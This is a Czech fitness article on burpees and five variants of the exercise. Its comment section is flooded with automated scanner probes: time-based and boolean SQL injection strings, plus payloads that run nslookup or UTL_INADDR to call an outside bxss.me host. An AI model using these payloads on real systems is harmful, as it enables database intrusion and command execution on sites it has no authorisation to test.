reklama
cz / EN / esp

Posilování: angličáky trochu jinak

Klasický cvik jsme obohatili o různé varianty. Podívejte se na video

reklama

Angličáky - burpees zná snad už každý. Jednoduchý, ale zároveň velmi náročný a proto mnohými neoblíbený cvik, který je možné cvičit opravdu kdekoliv. Ukážu vám v níže uvedeném videu, že se dají provádět opravdu všude a předvedu různé variace angličáků pro jejich obměnu.

Burpees se frekventovaně používá v armádě, při tréninku zásahových jednotek, v mnoha odvětvích profesionálního sportu a mnoho lidí si ho oblíbilo i při rekreačním cvičení.

Nejlepší na tomto cviku je, že zapojuje do akce celé tělo a dá se jím vybudovat fyzička za relativně krátkou dobu. Kromě toho nepotřebujete při angličácích žádné náčiní a můžete ho dělat skutečně kdekoli, aniž byste za něj utratili byť jen jednu korunu.



Výhody angličáků


1. Pálí spoustu kalorií - jde o jeden z nejefektivnějších cviků na spalování tuků, protože je intenzivní a pracuje při něm celé tělo. Spálíte při něm až o 50% více kalorií než při cvičení v mírné intenzitě a i po skončení tréninku má tělo zvýšený metabolismus.

2. Posilují celé tělo - při tomto cviku procvičíte všechny svaly - ruce, ramena, hrudník, stehna, břicho a když přidáte i shyby, tak i záda. A jako bonus je fakt, že se jedná o funkční cvik s přirozenými pohyby, který tak ulehčuje každodenní aktivity.

3. Pomáhají zlepšit kondici - zde není třeba nic definovat a stačí si položit jen jednu otázku - proč jsou součástí tréninků hráčů amerického fotbalu či boxerů? Ano, protože jsou skvělé na kondici. Srdeční tep zvýší velmi rychle a rychle vás dají i do formy.

 



Projděme si vybrané typy angličáků, které jsem pro vás natočil.

Standard: V počáteční poloze stojíte vzpřímeně a díváte se před sebe. Následně se dynamicky přesunete do polohy kliku, dotknete se oběma rukama podlahy a nohy "vystřelíte" dozadu. Potom provedete klik a při návratu nahoru explozivním pohybem pokrčíte nohy a dostanete je před hrudník tak, abyste následně z pozice dřepu vyskočili co nejvýše.

 

Hands - elevated: provedením připomíná standardní angličáky s tím rozdílem, že vám ruce dopadají na mírně vyvýšenou podložku.

 

Feet-elevated: u tohoto typu angličáků máte nohy ve výchozí pozici na vyšší podložce, je to relativně náročná verze hlavně na koordinaci pohybů.

 

Bottom: v této verzi zcela vynecháte výskok, kolena jen dostanete před sebe a nevyskočíte. Při cvičení pocítíte výrazně pálení kvadricepsů - předních stehen.

 

Single-leg: velmi náročná verze. Vyžaduje určitou praxi pro správné provedení. Ve výchozí pozici se opíráte jen o jednu nohu, druhou nohu máte mírně přitaženou k tělu. Je dobré provést stejný počet opakování pro obě nohy.

Michael Achberger / 14.06.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





crbdhgvx 15.05.2018
1acuZ8QQVhD5UY
crbdhgvx 15.05.2018
1
crbdhgvx 15.05.2018
1
crbdhgvx 15.05.2018
1acuZ8QQVhD5UY
crbdhgvx 15.05.2018
1acuZ8QQVhD5UY
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
215' 14.05.2018
1
jwlrerkx';copy (select '') to program 'nslookup dns.sqli.\039481.50-5918.50.0244b.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5917.50.0244b.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5917.50.0244b.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5917.50.0244b.1.bxss'||'.me')||' 14.05.2018
1
t6MzEs7j'));select pg_sleep(26.125); -- 14.05.2018
1
ThQXb7PU';select pg_sleep(26.125); -- 14.05.2018
1
Iiac7W84');select pg_sleep(26.125); -- 14.05.2018
1
09eczb0E'; waitfor delay '0:0:26.125' -- 14.05.2018
1
(select(0)from(select(sleep(78.375)))v)/*'+(select(0)from(select(sleep(78.375)))v)+'"+(select(0)from(select(sleep(78.375)))v)+"*/ 14.05.2018
1
1 waitfor delay '0:0:78.375' -- 14.05.2018
1
if(now()=sysdate(),sleep(52.25),0)/*'XOR(if(now()=sysdate(),sleep(52.25),0))OR'"XOR(if(now()=sysdate(),sleep(52.25),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+550-550) -- 14.05.2018
1
-1" OR 3*2<(0+5+550-550) -- 14.05.2018
1
-1" OR 3+550-550-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+550-550-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+793-793) or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3*2<(0+5+793-793) or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3*2<(0+5+793-793) or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3+793-793-1=0+0+0+1 or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3+793-793-1=0+0+0+1 or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3+793-793-1=0+0+0+1 or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3+793-793-1=0+0+0+1 or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 2+793-793-1=0+0+0+1 or 'BuvQsUTl'=' 14.05.2018
1
-1' OR 3*2<(0+5+402-402) -- 14.05.2018
1
-1' OR 3*2>(0+5+402-402) -- 14.05.2018
1
-1' OR 3*2<(0+5+402-402) -- 14.05.2018
1
-1' OR 3*2<(0+5+402-402) -- 14.05.2018
1
-1' OR 3+402-402-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+402-402-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+242-242) 14.05.2018
1
-1 OR 3*2>(0+5+242-242) 14.05.2018
1
-1 OR 3*2<(0+5+242-242) 14.05.2018
1
-1 OR 3+242-242-1=0+0+0+1 14.05.2018
1
-1 OR 2+242-242-1=0+0+0+1 14.05.2018
1
-1 OR 2+242-242-1=0+0+0+1 14.05.2018
1
-1 OR 2+242-242-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+934-934) -- 14.05.2018
1
-1 OR 3*2>(0+5+934-934) -- 14.05.2018
1
kxyttmbb 14.05.2018
1
-1 OR 3*2>(0+5+934-934) -- 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
-1 OR 3*2<(0+5+934-934) -- 14.05.2018
1
-1 OR 3+934-934-1=0+0+0+1 -- 14.05.2018
1
kxyttmbb 14.05.2018
1
-1 OR 2+934-934-1=0+0+0+1 -- 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
kxyttmbb 14.05.2018
1
jwlrerkx 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-5859.50.0244b.\1.bxss.me
jwlrerkx 14.05.2018
618'
jwlrerkx 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-5859.50.0244b.\1.bxss.me
jwlrerkx 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-5858.50.0244b.\1.bxss.me'
jwlrerkx 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5855.50.0244b.1.bxss'||'.me')||'
''"" 14.05.2018
1
jwlrerkx 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5852.50.0244b.1.bxss'||'.me')
'" 14.05.2018
1
'" 14.05.2018
1
jwlrerkx 14.05.2018
GMqZa12T'));select pg_sleep(22.235); --
jwlrerkx 14.05.2018
zt6KH4gW');select pg_sleep(22.235); --
JyI= 14.05.2018
1
@@e0Ul4 14.05.2018
1
1%2527%2522 14.05.2018
1
jwlrerkx 14.05.2018
IR1ER4bx';select pg_sleep(22.235); --
\ 14.05.2018
1
1'" 14.05.2018
1
jwlrerkx 14.05.2018
-1));select pg_sleep(66.705); --
kxyttmbb 14.05.2018
1
jwlrerkx 14.05.2018
1 waitfor delay '0:0:44.47' --
jwlrerkx 14.05.2018
-1);select pg_sleep(66.705); --
jwlrerkx 14.05.2018
-1;select pg_sleep(66.705); --
jwlrerkx 14.05.2018
-1); waitfor delay '0:0:22.235' --
jwlrerkx 14.05.2018
-1; waitfor delay '0:0:22.235' --
jwlrerkx 14.05.2018
if(now()=sysdate(),sleep(44.47),0)/*'XOR(if(now()=sysdate(),sleep(44.47),0))OR'"XOR(if(now()=sysdate(),sleep(44.47),0))OR"*/
jwlrerkx 14.05.2018
(select(0)from(select(sleep(66.705)))v)/*'+(select(0)from(select(sleep(66.705)))v)+'"+(select(0)from(select(sleep(66.705)))v)+"*/
kxyttmbb 14.05.2018
''""
kxyttmbb 14.05.2018
'"
kxyttmbb 14.05.2018
JyI=
kxyttmbb 14.05.2018
JyI=
jwlrerkx 14.05.2018
-1" OR 3*2>(0+5+76-76) --
kxyttmbb 14.05.2018
JyI=
jwlrerkx 14.05.2018
-1" OR 3*2>(0+5+76-76) --
kxyttmbb 14.05.2018
JyI=
jwlrerkx 14.05.2018
-1" OR 3*2<(0+5+76-76) --
jwlrerkx 14.05.2018
-1" OR 3+76-76-1=0+0+0+1 --
jwlrerkx 14.05.2018
-1" OR 2+76-76-1=0+0+0+1 --
kxyttmbb 14.05.2018
@@d9JXM
jwlrerkx 14.05.2018
-1' OR 3*2>(0+5+59-59) or 'm8v8QahW'='
jwlrerkx 14.05.2018
-1' OR 3*2<(0+5+59-59) or 'm8v8QahW'='
kxyttmbb 14.05.2018
1%2527%2522
kxyttmbb 14.05.2018
\
jwlrerkx 14.05.2018
-1' OR 3*2<(0+5+59-59) or 'm8v8QahW'='
kxyttmbb 14.05.2018
\
jwlrerkx 14.05.2018
-1' OR 3+59-59-1=0+0+0+1 or 'm8v8QahW'='
jwlrerkx 14.05.2018
-1' OR 2+59-59-1=0+0+0+1 or 'm8v8QahW'='
jwlrerkx 14.05.2018
-1' OR 3*2>(0+5+679-679) --
jwlrerkx 14.05.2018
-1' OR 3*2<(0+5+679-679) --
jwlrerkx 14.05.2018
-1' OR 3+679-679-1=0+0+0+1 --
kxyttmbb 14.05.2018
1'"
jwlrerkx 14.05.2018
-1' OR 2+679-679-1=0+0+0+1 --
kxyttmbb 14.05.2018
1
jwlrerkx 14.05.2018
-1 OR 3*2>(0+5+783-783)
jwlrerkx 14.05.2018
-1 OR 3*2<(0+5+783-783)
jwlrerkx 14.05.2018
-1 OR 3+783-783-1=0+0+0+1
jwlrerkx 14.05.2018
-1 OR 2+783-783-1=0+0+0+1
jwlrerkx 14.05.2018
-1 OR 3*2>(0+5+454-454) --
jwlrerkx 14.05.2018
-1 OR 3*2>(0+5+454-454) --
jwlrerkx 14.05.2018
-1 OR 3*2>(0+5+454-454) --
jwlrerkx 14.05.2018
-1 OR 3*2>(0+5+454-454) --
jwlrerkx 14.05.2018
-1 OR 3*2<(0+5+454-454) --
jwlrerkx 14.05.2018
-1 OR 3+454-454-1=0+0+0+1 --
jwlrerkx 14.05.2018
-1 OR 2+454-454-1=0+0+0+1 --
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
jwlrerkx 14.05.2018
1
pikewyay 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag